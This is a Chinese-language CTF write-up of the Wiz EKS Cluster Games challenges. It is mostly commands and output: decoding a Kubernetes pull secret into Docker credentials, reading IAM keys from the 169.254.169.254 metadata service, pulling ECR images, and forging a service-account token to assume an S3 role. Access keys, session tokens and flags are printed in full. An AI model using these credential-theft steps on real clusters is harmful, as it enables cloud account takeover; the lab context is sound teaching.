"dnsPolicy": "ClusterFirst",
"enableServiceLinks": true,
"imagePullSecrets": [
{
"name": "registry-pull-secrets-780bab1d"
}
],
"nodeName": "ip-192-168-21-50.us-west-1.compute.internal",
"preemptionPolicy": "PreemptLowerPriority",
"priority": 0,
"restartPolicy": "Always",
"schedulerName": "default-scheduler",
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30,
"tolerations": [
{
"effect": "NoExecute",
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"tolerationSeconds": 300
},
{
"effect": "NoExecute",
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"tolerationSeconds": 300
}
],
"volumes": [
{
"name": "kube-api-access-cq4m2",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"expirationSeconds": 3607,
"path": "token"
}
},
{
"configMap": {
"items": [
{
"key": "ca.crt",
"path": "ca.crt"
}
],
"name": "kube-root-ca.crt"
}
},
{
"downwardAPI": {
"items": [
{
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
},
"path": "namespace"
}
]
}
}
]
}
}
]
},
"status": {
"conditions": [
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:05Z",
"status": "True",
"type": "Initialized"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2024-08-17T16:30:35Z",
"status": "True",
"type": "Ready"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2024-08-17T16:30:35Z",
"status": "True",
"type": "ContainersReady"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:05Z",
"status": "True",
"type": "PodScheduled"
}
],
"containerStatuses": [
{
"containerID": "containerd://038fbdd061f8d31fa1d17de2cb04a0153653fdfd65abc7bf46f418f443907b4a",
"image": "docker.io/eksclustergames/base_ext_image:latest",
"imageID": "docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623",
"lastState": {
"terminated": {
"containerID": "containerd://e7b4aa2e7a9a8630a42ad8b1af4233028545296edcbe9f6bb8ec882dc2f4948c",
"exitCode": 0,
"finishedAt": "2024-08-17T16:30:33Z",
"reason": "Completed",
"startedAt": "2024-07-12T10:08:16Z"
}
},
"name": "my-container",
"ready": true,
"restartCount": 8,
"started": true,
"state": {
"running": {
"startedAt": "2024-08-17T16:30:35Z"
}
}
}
],
"hostIP": "192.168.21.50",
"phase": "Running",
"podIP": "192.168.12.173",
"podIPs": [
{
"ip": "192.168.12.173"
}
],
"qosClass": "BestEffort",
"startTime": "2023-11-01T13:32:05Z"
}
}

这里 imagePullSecrets -> name -> registry-pull-secrets-780bab1d
意思是从 Secret 类型的资源中拉去对应名称的镜像

所以可以通过 kubectl get secrets registry-pull-secrets-780bab1d
这样就不需要 list 权限,直接找到 NAME 了

1
2
3
kubectl get secrets registry-pull-secrets-780bab1d
NAME TYPE DATA AGE
registry-pull-secrets-780bab1d kubernetes.io/dockerconfigjson 1 291d

获取对应的数据
其中 dockerconfigjson 包含了从 Docker 镜像仓库拉去镜像的凭证信息

1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: v1
data:
.dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
metadata:
annotations:
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:31:29Z"
name: registry-pull-secrets-780bab1d
namespace: challenge2
resourceVersion: "897340"
uid: 1348531e-57ff-42df-b074-d9ecd566e18b
type: kubernetes.io/dockerconfigjson

解密之后为

1
2
3
4
5
6
7
{
"auths": {
"index.docker.io/v1/": {
"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
}
}
}

进而获得令牌 eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

使用 crane 进行 login 就有权限拉去镜像 tar 了
flag 就在镜像的文件系统里,直接 tar 解压

1
crane pull docker.io/eksclustergames/base_ext_image:latest /tmp/image.tar

在真实的 EKS 环境中,会存在这样一种场景:业务集群有大量节点,节点为了保证 pod 的正常运行,会从远端容器注册表拉取私有镜像。为了保护私有镜像的安全,防止供应链攻击,容器注册表往往会有认证和授权机制。而 pod 用以访问容器注册表的凭据则可能存储在 Secret 资源中


Image Inquisition

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

For your convenience, the crane utility is already pre-installed on the machine.

1
2
3
4
5
kubectl get pods
NAME READY STATUS RESTARTS AGE
accounting-pod-876647f8 1/1 Running 8 (22h ago) 291d

kubectl get pods accounting-pod-876647f8 -o json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:32:10Z",
"name": "accounting-pod-876647f8",
"namespace": "challenge3",
"resourceVersion": "113847436",
"uid": "dd2256ae-26ca-4b94-a4bf-4ac1768a54e2"
},
"spec": {
"containers": [
{
"image": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"imagePullPolicy": "IfNotPresent",
"name": "accounting-container",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"volumeMounts": [
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-mmvjj",
"readOnly": true
}
]
}
],
"dnsPolicy": "ClusterFirst",
"enableServiceLinks": true,
"nodeName": "ip-192-168-21-50.us-west-1.compute.internal",
"preemptionPolicy": "PreemptLowerPriority",
"priority": 0,
"restartPolicy": "Always",
"schedulerName": "default-scheduler",
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30,
"tolerations": [
{
"effect": "NoExecute",
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"tolerationSeconds": 300
},
{
"effect": "NoExecute",
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"tolerationSeconds": 300
}
],
"volumes": [
{
"name": "kube-api-access-mmvjj",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"expirationSeconds": 3607,
"path": "token"
}
},
{
"configMap": {
"items": [
{
"key": "ca.crt",
"path": "ca.crt"
}
],
"name": "kube-root-ca.crt"
}
},
{
"downwardAPI": {
"items": [
{
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
},
"path": "namespace"
}
]
}
}
]
}
}
]
},
"status": {
"conditions": [
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "Initialized"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2024-08-17T16:30:33Z",
"status": "True",
"type": "Ready"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2024-08-17T16:30:33Z",
"status": "True",
"type": "ContainersReady"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "PodScheduled"
}
],
"containerStatuses": [
{
"containerID": "containerd://28abc7c8db6da76f3c78f250876cab51581c48dc04ef908501dadaead0980393",
"image": "sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3",
"imageID": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"lastState": {
"terminated": {
"containerID": "containerd://e2473693bf87bb8bff3fe1b566a7ce9b518727186d1438245b7d6d2b450c362c",
"exitCode": 0,
"finishedAt": "2024-08-17T16:30:31Z",
"reason": "Completed",
"startedAt": "2024-07-12T10:08:14Z"
}
},
"name": "accounting-container",
"ready": true,
"restartCount": 8,
"started": true,
"state": {
"running": {
"startedAt": "2024-08-17T16:30:32Z"
}
}
}
],
"hostIP": "192.168.21.50",
"phase": "Running",
"podIP": "192.168.5.251",
"podIPs": [
{
"ip": "192.168.5.251"
}
],
"qosClass": "BestEffort",
"startTime": "2023-11-01T13:32:10Z"
}
}

可以看到镜像的地址 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
但这个是在 aws 中,而不是上一题的 docker
(这里注意到 region 是 us-west-1

到这里是看不出什么东西的
此时要看 meta-data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
curl http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/

curl http://169.254.169.254/latest/meta-data/iam/info
{
"Code" : "Success",
"LastUpdated" : "2024-08-20T11:57:17Z",
"InstanceProfileArn" : "arn:aws:iam::688655246681:instance-profile/eks-36c5c399-cac4-2600-89ff-c478e8f231c5",
"InstanceProfileId" : "AIPA2AVYNEVM276Q75VCN"
}

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVM3I5SYZ4F","Expiration":"2024-08-20 13:47:56+00:00","SecretAccessKey":"WVcxMvqmXFXz77mJi1SWngOMOHOlOE4vvpzMnghg","SessionToken":"FwoGZXIvYXdzEGYaDPAqvItuLEhqLk6ijyK3AfUJvV+O++yT2Elxl7qIf0W/JTdM7WexcvvOvRNkZp+KhU/qyPae2zs4PqgIDMgnevoUcxqsXF6qSdDYzH8bbJBXQ6JoYEJIcdt74Kwv2Dz1poID1bVQDKiBkZxlfVqVhOpMUaIQSl5zWp5TfglPH1uvysSf0ppTMlpmroddDe0yJ4uOkzcLEBVZ3MY98dbN+x0CI3zt1EzX/Gir3z1Rv83ekwvqb5vkkRfIN+s6d2Tc8yvtgJA2CSj8oJK2BjIteEnt48zm2Xoflpda9y5NToeagbQ4OfN0xBkDMAogZJqTh1BJiQeuEmGF7awT"}

拿到 ak sk 之后,如何使用才可以用到 ecr 拉取 aws 中的镜像呢?

参考文档 https://docs.aws.amazon.com/zh_cn/AmazonECR/latest/userguide/registry_auth.html

1
aws ecr get-login-password --region us-west-1 | docker login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com

配置凭证(这里一开始使用的是 aws configure,但是少了 SessionToken 参数配置的地方
后面使用的是环境变量

1
2
3
4
5
6
export AWS_ACCESS_KEY_ID="ASIA2AVYNEVM3I5SYZ4F"
export AWS_SECRET_ACCESS_KEY="WVcxMvqmXFXz77mJi1SWngOMOHOlOE4vvpzMnghg"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEGYaDPAqvItuLEhqLk6ijyK3AfUJvV+O++yT2Elxl7qIf0W/JTdM7WexcvvOvRNkZp+KhU/qyPae2zs4PqgIDMgnevoUcxqsXF6qSdDYzH8bbJBXQ6JoYEJIcdt74Kwv2Dz1poID1bVQDKiBkZxlfVqVhOpMUaIQSl5zWp5TfglPH1uvysSf0ppTMlpmroddDe0yJ4uOkzcLEBVZ3MY98dbN+x0CI3zt1EzX/Gir3z1Rv83ekwvqb5vkkRfIN+s6d2Tc8yvtgJA2CSj8oJK2BjIteEnt48zm2Xoflpda9y5NToeagbQ4OfN0xBkDMAogZJqTh1BJiQeuEmGF7awT"
export AWS_DEFAULT_REGION="us-west-1"

aws ecr get-login-password --region us-west-1 | crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com --username AWS --password-stdin

配置完了之后拉了镜像 id 发现不对

得加上 sha256 才能有对应的 imageTag 之后再拉

1
2
crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f5335
08dd8b01 /tmp/image.tar
1
2
aws ecr describe-repositories
aws ecr list-images --repository-name central_repo-aaf4a7c
1
2
3
4
5
6
7
crane manifest 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f
533508dd8b01

crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f53
3508dd8b01

docker history --no-trunc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
"architecture": "amd64",
"config": {
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": ["/bin/sleep", "3133337"],
"ArgsEscaped": true,
"OnBuild": null
},
"created": "2023-11-01T13:32:07.782534085Z",
"history": [
{
"created": "2023-07-18T23:19:33.538571854Z",
"created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
},
{
"created": "2023-07-18T23:19:33.655005962Z",
"created_by": "/bin/sh -c #(nop) CMD [\"sh\"]",
"empty_layer": true
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
]
}
}

镜像的 layer 可能也会泄漏可用信息


Pod Break

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

有 iam meta-data 就先拿着

1
2
3
4
export AWS_ACCESS_KEY_ID="ASIA2AVYNEVM3PQVMEG3"
export AWS_SECRET_ACCESS_KEY="aRQ6Pzj7iU+gf6wNzCZd1sN/iZCqeHI2fUqeiPvj"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEGcaDC/ErEa1n3Bvv+8OyiK3AdVUcGnAigzIjLs0dUQ3Yr6tt+NSAh62dph99FYY4tuwnrXOR90iplv6jvppGMe27fQ2VhA0G7cOucXPVJlDZSEXfpC6ac1e1JS2eHf8/UqZLrTwlGu2Ng1jwaOrjq7/UGXTP4SmkffFCzS0gTE4A5hZv1nTllJsJWlAOC4jOSdvjbIqlouT6fs6XNxRY4BJcDhgp5zqtjxrwMtDPnJ4v9qlLsPBnvEWaLoEK71JeyiK124rxOVV5yjpw5K2BjItJQnlLPto7MRLl+qLx+plo4c8LtmOUWjFBj+GsM+HXUGwO3/sNlhw+/vZuhP3"
export AWS_DEFAULT_REGION="us-west-1"

通过创建 kubeconfig 文件将 kubectl 连接到 EKS 集群
https://docs.aws.amazon.com/zh_cn/eks/latest/userguide/create-kubeconfig.html

1
2
3
4
5
6
7
aws sts get-caller-identity

{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

节点的 IAM 角色名称的约定模式为:[集群名称]- 节点组-节点实例角色

本来想 ``

另外可以自动 update-kubeconfig 和 get-token

1
2
3
4
5
6
7
8
9
10
11
12
aws eks update-kubeconfig --region us-west-1 --name eks-challenge-cluster

aws eks get-token --cluster-name eks-challenge-cluster
{
"kind": "ExecCredential",
"apiVersion": "client.authentication.k8s.io/v1beta1",
"spec": {},
"status": {
"expirationTimestamp": "2024-08-20T14:31:41Z",
"token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk0zUFFWTUVHMyUyRjIwMjQwODIwJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDA4MjBUMTQxNzQxWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFR2NhREMlMkZFckVhMW4zQnZ2JTJCOE95aUszQWRWVWNHbkFpZ3pJakxzMGRVUTNZcjZ0dCUyQk5TQWg2MmRwaDk5RllZNHR1d25yWE9SOTBpcGx2Nmp2cHBHTWUyN2ZRMlZoQTBHN2NPdWNYUFZKbERaU0VYZnBDNmFjMWUxSlMyZUhmOCUyRlVxWkxyVHdsR3UyTmcxandhT3JqcTclMkZVR1hUUDRTbWtmZkZDelMwZ1RFNEE1aFp2MW5UbGxKc0pXbEFPQzRqT1NkdmpiSXFsb3VUNmZzNlhOeFJZNEJKY0RoZ3A1enF0anhyd010RFBuSjR2OXFsTHNQQm52RVdhTG9FSzcxSmV5aUsxMjRyeE9WVjV5anB3NUsyQmpJdEpRbmxMUHRvN01STGwlMkJxTHglMkJwbG80YzhMdG1PVVdqRkJqJTJCR3NNJTJCSFhVR3dPMyUyRnNObGh3JTJCJTJGdlp1aFAzJlgtQW16LVNpZ25hdHVyZT03Mjg3NzQ4OTYzMjMxNzMxZWMwOThjZDA2YTc5NzFhY2M5YjcxM2FkOGZmYjA4OTFlNzU4ZDg3MTIyNjY1ZmU1"
}
}
1
kubectl --token $TOKEN get secrets node-flag -o yaml

In this task, you’ve acquired the Node’s service account credentials. For future reference, these credentials will be conveniently accessible in the pod for you.

Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn’t enforce IMDSv2 hop limit.


Container Secrets Infrastructure

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

iam policy

trust policy

permissions

1
2
3
4
5
kubectl get serviceaccounts
NAME SECRETS AGE
debug-sa 0 293d
default 0 293d
s3access-sa 0 293d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
kubectl get serviceaccounts debug-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
description: This is a dummy service account with empty policy attached
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
creationTimestamp: "2023-10-31T20:07:37Z"
name: debug-sa
namespace: challenge5
resourceVersion: "671929"
uid: 6cb6024a-c4da-47a9-9050-59c8c7079904

kubectl get serviceaccounts default -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2023-10-31T20:07:11Z"
name: default
namespace: challenge5
resourceVersion: "671804"
uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c

kubectl get serviceaccounts s3access-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp: "2023-10-31T20:07:34Z"
name: s3access-sa
namespace: challenge5
resourceVersion: "671916"
uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda

到这里就看到了 s3access-sa
同时注意到

1
2
3
"serviceaccounts/token": [
"create"
]

因为 ......:aud": "sts.amazonaws.com" 所以要添加 audience 参数,否则这里的 aud 会变成 kubernetes.default.svc(下面的那个 json 就是

1
kubectl create token debug-sa --audience=sts.amazonaws.com

此处返回的 token 进行解码可以得到
而这里的 iss oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589 正好与 trust policy 中 Federated 相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"aud": ["https://kubernetes.default.svc"],
"exp": 1724169226,
"iat": 1724165626,
"iss": "https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"kubernetes.io": {
"namespace": "challenge5",
"serviceaccount": {
"name": "debug-sa",
"uid": "6cb6024a-c4da-47a9-9050-59c8c7079904"
}
},
"nbf": 1724165626,
"sub": "system:serviceaccount:challenge5:debug-sa"
}

所以可以给 s3access-sa 的 arn 创建一个 token

1
2
3
4
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::688655246681:role/challengeEksS3Role" \
--role-session-name "telll" \
--web-identity-token "$TOKEN"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVMSACJTGYX",
"SecretAccessKey": "XSMdJ8laeh74tErInb9evSJ32WwAGSIt4OSWIwC1",
"SessionToken": "IQoJb3JpZ2luX2VjEFcaCXVzLXdlc3QtMSJGMEQCIByKs7QHjGywult4KlQnRbhKX1IhYAtStXPtmdk2ghEUAiAXuLLENIk6tRqlh+PKBao+0EzksZ5Sf5CfpyNMFvD1XSq2BAhgEAEaDDY4ODY1NTI0NjY4MSIMAQC1lIc+GhvkWc95KpMEgKLtkSNdrrxWZ9EustoCYNLj0XFKPpMPUOBTsgcCr1JrsV6x2uSVBb74AQy2RhMFSPNo2WFtor/GO8KCK2q4wI8QsEwZDzZ7huUQhS2nBznMkK/eELFCZsvs7a30WuK9fge55pfoZmWhySgx20l1elxcbAKbAtuD4ZvwdK1WpGydgcurEYBMfkG4Y0394HvG59VJI592OtUvS7DmVEXXehgXYvdmkxYhUkm//PMe4ooVweslEMamKo8nksJ5S4xw63KLVp5qIjN/9nCpy7GFLP3nLbLgX2fbRxhWpG7WiQccuyqjmzpRGm6W4ky8EHkunHfDzfTH4TWSfZ9pUVnIVD2Y7d3O+3BysKRUTnPNC0f8ypSNcClBbs6qCdH4h2yHZ3CIG7fpxorIkDaGfD3J1QfR7T03dMvMZ/e/bIl43L1maAQIlAhH65l8/qphV5bbj4NvuTen/AvlPx5EYmA78iU68AOOIBSMLv6+nkbGQUOmgdNVBQeDn46+RGex7HEv3z6YvQNMEgnYnknGKT16PIN1ycnbIFhxO42s6Fiqim29KwpV4z7evFluBmjBxpkQ9BF4sNq8mRp65h6PNSpM+Ovf7fNoqRpsBeJbQxrp72Np0cemCPEVOwBrc0xxoGLH0zPMHaCJ6yFBVxzXhR30IcriXd/kNihhOhqpu0JY87zlRUfVVsLYQrKUN8efe78H7h2yMLjikrYGOpYBGPFTvTEbKaqouwLZAaqmxpGwkMf9te6hV4jXebv9faZWC6Lb/KPt+yVKFWJwfLbE/s7gcRYf78VFoF3QT1Ko4WbnnuRUL9uFxHqjKbU+vf33xfhbBG2LDvfdFtUwLxZGsl8gRcn+hakBPYdUud2Mp/qp9yxZhAynJNDaAANTL6/fSeE3CITVDVpayPWOOf4s0U1lEPkW",
"Expiration": "2024-08-20T16:07:36+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:telll",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/telll"
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}
1
2
3
4
export AWS_ACCESS_KEY_ID="ASIA2AVYNEVMSACJTGYX"
export AWS_SECRET_ACCESS_KEY="XSMdJ8laeh74tErInb9evSJ32WwAGSIt4OSWIwC1"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEFcaCXVzLXdlc3QtMSJGMEQCIByKs7QHjGywult4KlQnRbhKX1IhYAtStXPtmdk2ghEUAiAXuLLENIk6tRqlh+PKBao+0EzksZ5Sf5CfpyNMFvD1XSq2BAhgEAEaDDY4ODY1NTI0NjY4MSIMAQC1lIc+GhvkWc95KpMEgKLtkSNdrrxWZ9EustoCYNLj0XFKPpMPUOBTsgcCr1JrsV6x2uSVBb74AQy2RhMFSPNo2WFtor/GO8KCK2q4wI8QsEwZDzZ7huUQhS2nBznMkK/eELFCZsvs7a30WuK9fge55pfoZmWhySgx20l1elxcbAKbAtuD4ZvwdK1WpGydgcurEYBMfkG4Y0394HvG59VJI592OtUvS7DmVEXXehgXYvdmkxYhUkm//PMe4ooVweslEMamKo8nksJ5S4xw63KLVp5qIjN/9nCpy7GFLP3nLbLgX2fbRxhWpG7WiQccuyqjmzpRGm6W4ky8EHkunHfDzfTH4TWSfZ9pUVnIVD2Y7d3O+3BysKRUTnPNC0f8ypSNcClBbs6qCdH4h2yHZ3CIG7fpxorIkDaGfD3J1QfR7T03dMvMZ/e/bIl43L1maAQIlAhH65l8/qphV5bbj4NvuTen/AvlPx5EYmA78iU68AOOIBSMLv6+nkbGQUOmgdNVBQeDn46+RGex7HEv3z6YvQNMEgnYnknGKT16PIN1ycnbIFhxO42s6Fiqim29KwpV4z7evFluBmjBxpkQ9BF4sNq8mRp65h6PNSpM+Ovf7fNoqRpsBeJbQxrp72Np0cemCPEVOwBrc0xxoGLH0zPMHaCJ6yFBVxzXhR30IcriXd/kNihhOhqpu0JY87zlRUfVVsLYQrKUN8efe78H7h2yMLjikrYGOpYBGPFTvTEbKaqouwLZAaqmxpGwkMf9te6hV4jXebv9faZWC6Lb/KPt+yVKFWJwfLbE/s7gcRYf78VFoF3QT1Ko4WbnnuRUL9uFxHqjKbU+vf33xfhbBG2LDvfdFtUwLxZGsl8gRcn+hakBPYdUud2Mp/qp9yxZhAynJNDaAANTL6/fSeE3CITVDVpayPWOOf4s0U1lEPkW"
export AWS_DEFAULT_REGION="us-west-1"
1
aws s3 ls challenge-flag-bucket-3ff1ae2